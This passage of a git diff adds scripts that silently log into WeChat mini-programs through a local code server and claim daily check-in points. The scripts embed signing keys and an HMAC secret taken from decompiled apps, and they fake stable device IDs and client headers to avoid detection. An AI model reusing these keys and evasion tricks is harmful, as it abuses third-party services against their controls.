Object.prototype.toString.call(this.notifyStr[i]) === '[object Array]') { - this.notifyStr[i] = JSON.stringify(this.notifyStr[i]); - } - } - - let message = this.notifyStr.join(this.logSeparator); - if (this.isNode()) { - await notify.sendNotify(this.name, message); - } else { - } - } - isNode() { - return "undefined" != typeof module && !!module.exports; - } - - queryStr(options) { - return Object.entries(options) - .map( - ([key, value]) => - `${key}=${typeof value === "object" ? JSON.stringify(value) : value - }` - ) - .join("&"); - } - getURLParams(url) { - const params = {}; - const queryString = url.split("?")[1]; - if (queryString) { - const paramPairs = queryString.split("&"); - paramPairs.forEach((pair) => { - const [key, value] = pair.split("="); - params[key] = value; - }); - } - return params; - } - isJSONString(str) { - try { - return JSON.parse(str) && typeof JSON.parse(str) === "object"; - } catch (e) { - return false; - } - } - isJson(obj) { - var isjson = - typeof obj == "object" && - Object.prototype.toString.call(obj).toLowerCase() == - "[object object]" && - !obj.length; - return isjson; - } - - randomNumber(length) { - const characters = "0123456789"; - return Array.from( - { length }, - () => characters[Math.floor(Math.random() * characters.length)] - ).join(""); - } - randomString(length) { - const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; - return Array.from( - { length }, - () => characters[Math.floor(Math.random() * characters.length)] - ).join(""); - } - uuid() { - return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace( - /[xy]/g, - function (c) { - var r = (Math.random() * 16) | 0, - v = c == "x" ? r : (r & 0x3) | 0x8; - return v.toString(16); - } - ); - } - time(t) { - let s = { - "M+": new Date().getMonth() + 1, - "d+": new Date().getDate(), - "H+": new Date().getHours(), - "m+": new Date().getMinutes(), - "s+": new Date().getSeconds(), - "q+": Math.floor((new Date().getMonth() + 3) / 3), - S: new Date().getMilliseconds(), - }; - /(y+)/.test(t) && - (t = t.replace( - RegExp.$1, - (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) - )); - for (let e in s) { - new RegExp("(" + e + ")").test(t) && - (t = t.replace( - RegExp.$1, - 1 == RegExp.$1.length - ? s[e] - : ("00" + s[e]).substr(("" + s[e]).length) - )); - } - return t; - } - - log(content) { - this.notifyStr.push(content) - console.log(content) - } - wait(t) { - return new Promise((s) => setTimeout(s, t)); - } - async done(t = {}) { - await this.sendMsg(); - const s = new Date().getTime(), - e = (s - this.startTime) / 1e3; - this.log( - `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2` - ); - if (this.isNode()) { - process.exit(1); - } - } - })(t, s); -} \ No newline at end of file diff --git a/wxapp/ardywj.js b/wxapp/ardywj.js new file mode 100644 index 00000000..e18bab0a --- /dev/null +++ b/wxapp/ardywj.js @@ -0,0 +1,190 @@ +/* +------------------------------------------ +@Description: 爱康(iKang)会员 - 微信小程序静默登录 + 每日签到 +cron: 53 8 * * * +------------------------------------------ +变量名:ardywj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx342d760f674b013b,host api.ikbang.cn,前缀 /v2): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +请求签名:每请求带头 token / timestamp / sign + sign = md5(`${API_BASE}${path}${timestamp}${payload}${APP_KEY}${token||""}`) + payload:POST=JSON.stringify(params),GET=排序querystring,无参="";APP_KEY=A749380BBD5A4D93B55B4BE245A42988(应用固定key) +登录 POST /app/auth/authorization {code, type:"register", acceptCode:""} + -> code==1,result.token/userId;mobileAuthStatus!=1 或无 token = 未完成手机号授权(未注册) +状态 GET /iclick-new/signIn/getSignInInfo -> result.currentSignIn(true=今日已签)/continuityDay/totalSignInScore +签到 POST /iclick-new/signIn/sign {} -> result=获得积分 +响应壳:{code:1, result, description} +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("爱康会员签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "ardywj"; +const MINI_APP_ID = "wx342d760f674b013b"; +const API_BASE = "https://api.ikbang.cn/v2"; +const APP_KEY = "A749380BBD5A4D93B55B4BE245A42988"; +const TOKEN_CACHE_FILE = path.join(__dirname, "ardywj_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/7.0.20.1781 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/app/auth/authorization"; +const EP_SIGN_INFO = "/iclick-new/signIn/getSignInInfo"; +const EP_SIGN = "/iclick-new/signIn/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} +function stringifyQuery(params) { + return Object.keys(params).sort().map((k) => `${k}=${params[k]}`).join("&"); +} +function makeSign(urlPath, method, params, timestamp, token = "") { + let payload = ""; + if (params) payload = method === "POST" ? JSON.stringify(params) : stringifyQuery(params); + return md5(`${API_BASE}${urlPath}${timestamp}${payload}${APP_KEY}${token || ""}`); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async apiRequest(method, urlPath, params = null) { + const timestamp = String(Date.now()); + const sign = makeSign(urlPath, method, params, timestamp, this.token); + const res = await axios.request({ + method, + url: `${API_BASE}${urlPath}`, + data: method === "POST" ? params : undefined, + params: method === "GET" ? params : undefined, + timeout: 20000, + validateStatus: () => true, + headers: { + token: this.token, + sign, + timestamp, + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/127/page-frame.html`, + }, + }); + return res.data; + } + assertOk(res, action) { + if (!res || Number(res.code) !== 1) throw new Error(`${action}失败: ${res?.description || res?.msg || short(res)}`); + return res.result; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const result = this.assertOk(await this.apiRequest("POST", EP_LOGIN, { code, type: "register", acceptCode: "" }), "登录授权"); + if (Number(result.mobileAuthStatus) !== 1 || !result.token) { + this.unregistered = true; + throw new Error("NO_AUTH:账号未完成手机号授权"); + } + this.token = result.token; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${result.userName ? ` (${result.userName})` : ""}`); + } + async getSignInfo() { + return this.assertOk(await this.apiRequest("GET", EP_SIGN_INFO), "查询签到信息"); + } + async sign() { + let before; + try { + before = await this.getSignInfo(); + } catch (e) { + // token 失效则重登一次 + if (/token|登录|未授权|失效|过期/i.test(String(e.message))) { + this.token = ""; + await this.login(); + before = await this.getSignInfo(); + } else throw e; + } + if (before.currentSignIn) { + return this.log(`✅ 今日已签到,连续 ${before.continuityDay ?? "?"} 天,总签到积分 ${before.totalSignInScore ?? "?"}`); + } + const score = this.assertOk(await this.apiRequest("POST", EP_SIGN, {}), "签到"); + const after = await this.getSignInfo().catch(() => ({})); + this.log(`✅ 签到成功,获得 ${score ?? "?"} 积分,连续 ${after.continuityDay ?? "?"} 天`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_AUTH")) { + this.log("⚠️ 该微信号还没在爱康完成手机号授权/注册,先在小程序里登录授权一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/babycare.js b/wxapp/babycare.js new file mode 100644 index 00000000..64ca5288 --- /dev/null +++ b/wxapp/babycare.js @@ -0,0 +1,249 @@ +/* +------------------------------------------ +@Description: Babycare官方旗舰店 - 微信小程序静默登录 + 每日签到 +cron: 41 8 * * * +------------------------------------------ +变量名:babycare +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxab5642d7bced2dcc,host api.bckid.com.cn): + 登录 POST /common/front/login/wxMina {code, wxAppId:<本包 appid>} + -> code==="200",body.{token, loginStatus, expirationTime, unionId, openId} + wxAppId 就是本小程序自己的 appid(解包 common.js 模块 14549 的 kJ 常量); + 字段名是 wxAppId 而不是 appId —— 写成 appId 会被回「AppId不能为空」 + 之后所有请求带请求头 Authorization: (裸 token,不加 Bearer) + 状态 POST /operation/front/bonus/userSign/v3/getSignInfo {} + -> body.todaySignd 1=今天签过、0=没签;body.signDaysCountMod 是本轮连签天数(7 天一轮) + 签到 POST /operation/front/bonus/userSign/v3/sign {} 空 body + 重复签到回 {code:"400", message:"您今天已经签到了,请明天再来吧"} + 同模块还有 /v3/draw(签到抽奖领奖),按规则不做,脚本只签到 + 固定头 user-agent-bckid 是它自家的埋点 UA,缺了不影响,照真机形状发 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("Babycare官方旗舰店"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "babycare"; +const MINI_APP_ID = "wxab5642d7bced2dcc"; +const BASE = "https://api.bckid.com.cn"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "babycare_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/common/front/login/wxMina"; +const EP_SIGN = "/operation/front/bonus/userSign/v3/sign"; +const EP_USER = "/operation/front/bonus/userSign/v3/getSignInfo"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => String(res?.code) === "200"; +const msgOf = (res) => res?.message || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + "user-agent-bckid": "bckid; miniProgram; 1.0.0; ; ; ;1002;", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["Authorization"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, wxAppId: MINI_APP_ID }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.body || {}).token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "POST", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + this.log(`签到状态: 本轮连签 ${Number(d.signDaysCountMod || 0)}/${Number(d.maxSignDay || 7)} 天,今日${Number(d.todaySignd) === 1 ? "已签" : "未签"}`); + } + this.signedToday = !!(Number((res.body || {}).todaySignd) === 1); + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + if (this.signedToday) { + this.log("✅ 今日已签到(读取签到状态得知,跳过签到请求)"); + return; + } + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/baimazhixuan.js b/wxapp/baimazhixuan.js new file mode 100644 index 00000000..26f3dbe7 --- /dev/null +++ b/wxapp/baimazhixuan.js @@ -0,0 +1,243 @@ +/* +------------------------------------------ +@Description: 白马智选 - 微信小程序静默登录 + 每日签到 +cron: 42 8 * * * +------------------------------------------ +变量名:baimazhixuan +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx51f8cb2a7578f42f,host min.51afa.com/module/integralApi): + 登录 POST /login.html form: code=&company_id=1&_cache_=1 + -> status 为真,token 在 data.token(也兼容 accessToken / userInfo.token 等写法) + 签到 POST /sign.html form: token=×tamp=<毫秒>&company_id=1 + 并且要带请求头 act: do_sign(这个后端按 act 头区分动作,同一路径多用途) + token 是放在 body 里的,不是请求头 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("白马智选"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "baimazhixuan"; +const MINI_APP_ID = "wx51f8cb2a7578f42f"; +const BASE = "https://min.51afa.com/module/integralApi"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "baimazhixuan_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/login.html"; +const EP_SIGN = "/sign.html"; +const EP_USER = null; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.status) === 1 || Number(res?.status) === 200 || res?.status === true || Number(res?.code) === 0 || Number(res?.code) === 200; +const msgOf = (res) => res?.msg || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = true; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + // token 放 body,见下面各处 token + const payload = body || {}; + if (withAuth && this.token) payload["token"] = this.token; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, company_id: 1, _cache_: 1 }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = ((res.data || {}).token || (res.data || {}).accessToken || ((res.data || {}).userInfo || {}).token) || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "POST", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, { timestamp: Date.now(), company_id: 1 }, true, "POST", null, { act: "do_sign" }); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/bjhqbwz.py b/wxapp/bjhqbwz.py new file mode 100644 index 00000000..99d6b82c --- /dev/null +++ b/wxapp/bjhqbwz.py @@ -0,0 +1,497 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 北京环球度假区互动福利站 - 每日签到 (连续签到可获抽奖门票机会) +# 入口: 微信小程序「北京环球度假区互动福利站」-> 签到 +# 说明: 通过 wx_server(smallcat) 用 openid 换取 wx.login code 自动登录, 完成每日签到。 +# 连续签到达标后会获得抽奖机会, 但抽奖属于领奖动作, 本脚本不自动触发, 仅完成签到。 +# 账号变量名:bjhqbwz (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +# 需要配置 wx_server_url、wx_auth, 用于获取 wx.login code +#new Env("北京环球签到") +#cron 15 9 * * * + +import base64 +import hashlib +import hmac +import json +import os +import sys +import time +from datetime import datetime, timedelta, timezone +from email.utils import formatdate +from pathlib import Path + +import requests + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# --------------------------------------------------------------------------- +# 常量 (均来自小程序反编译源码, 非机密) +# --------------------------------------------------------------------------- +MINI_APP_ID = "wx21f6790118783b83" +BASE_URL = "https://bmp.app.universalbeijingresort.com" +PATH_PREFIX = "/2026_ubr_yunyingqiu" # app.js 路径前缀 (小写) +ACTIVITY_CODE = "2026_UBR_YUNYINGQIU" # app.js activityCode (大写) +# HTTP-Signatures 签名密钥 (客户端内置, 生产环境; 非 appsecret) +HMAC_USERNAME = "ubr-bmp" +HMAC_SECRET = "aK@AtX5#Ck5x" +SUCCESS_CODE = 200 +SESSION_CODES = (401, 403) # 会话失效 -> 需重新登录 +NEED_GOV_CODE = 60002 # 需补充身份证/实名 +NEED_CERT_CODE = 60003 # 需完成实名认证 +MEMBER_IDENTITIES = ("NORMAL_MEMBER", "ANNUAL_CARD_MEMBER") +# 「连续签到5天抽门票」玩法(Surprise5)开启时, 首签前需选一个抽奖奖池(小程序内 +# 为二次确认弹窗)。本脚本按用户授权的 bjhqbwz_pool 自动选定一次(幂等: 已选过/无 +# 门槛则不重复选); 若置空/none 则不自动选, 仅如实上报由用户在小程序内手动选。 +POOL_GATE_HINT = "奖池" +# 奖池自动选择(用户授权): ticket1=指定日门票5折 / ticket2=门票+优速通套餐5折 / +# hotel=酒店5折。默认 ticket2(门票+优速通)。置空或 none/off 关闭自动选。 +POOL_CHOICE = os.getenv("bjhqbwz_pool", "ticket2").strip().lower() +POOL_LABELS = { + "ticket1": "指定日门票5折优惠券", + "ticket2": "门票+环球优速通套餐5折优惠券", + "hotel": "度假区酒店5折优惠券", +} +POOL_GATE_MSG = ( + "本期开启了『连续签到5天抽门票』玩法, 首次签到前需选择一个奖池" + "(①指定日门票5折 ②门票+优速通套餐5折 ③酒店5折)。当前未启用自动选池" + "(bjhqbwz_pool 为空), 请在小程序「北京环球度假区互动福利站」首页弹窗中" + "选定奖池后再运行, 或设置环境变量 bjhqbwz_pool=ticket2 由脚本自动选定。" +) + +# smallcat / wx_server 配置 (机密, 从环境变量读取, 绝不硬编码) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") + +TOKEN_CACHE_PATH = Path(__file__).with_name("bjhqbwz_token_cache.json") +DEFAULT_UA = ( + "Mozilla/5.0 (Linux; Android 13; SM-G9910 Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.49.2600(0x28003137) NetType/WIFI Language/zh_CN " + "miniProgram/" + MINI_APP_ID +) + +session = requests.Session() + + +# --------------------------------------------------------------------------- +# 工具函数 +# --------------------------------------------------------------------------- +def bj_now(): + return datetime.now(timezone(timedelta(hours=8))) + + +def mask(value): + if not value: + return "" + value = str(value) + if len(value) <= 12: + return value[:2] + "***" + return f"{value[:6]}***{value[-4:]}" + + +def read_token_cache(): + try: + if not 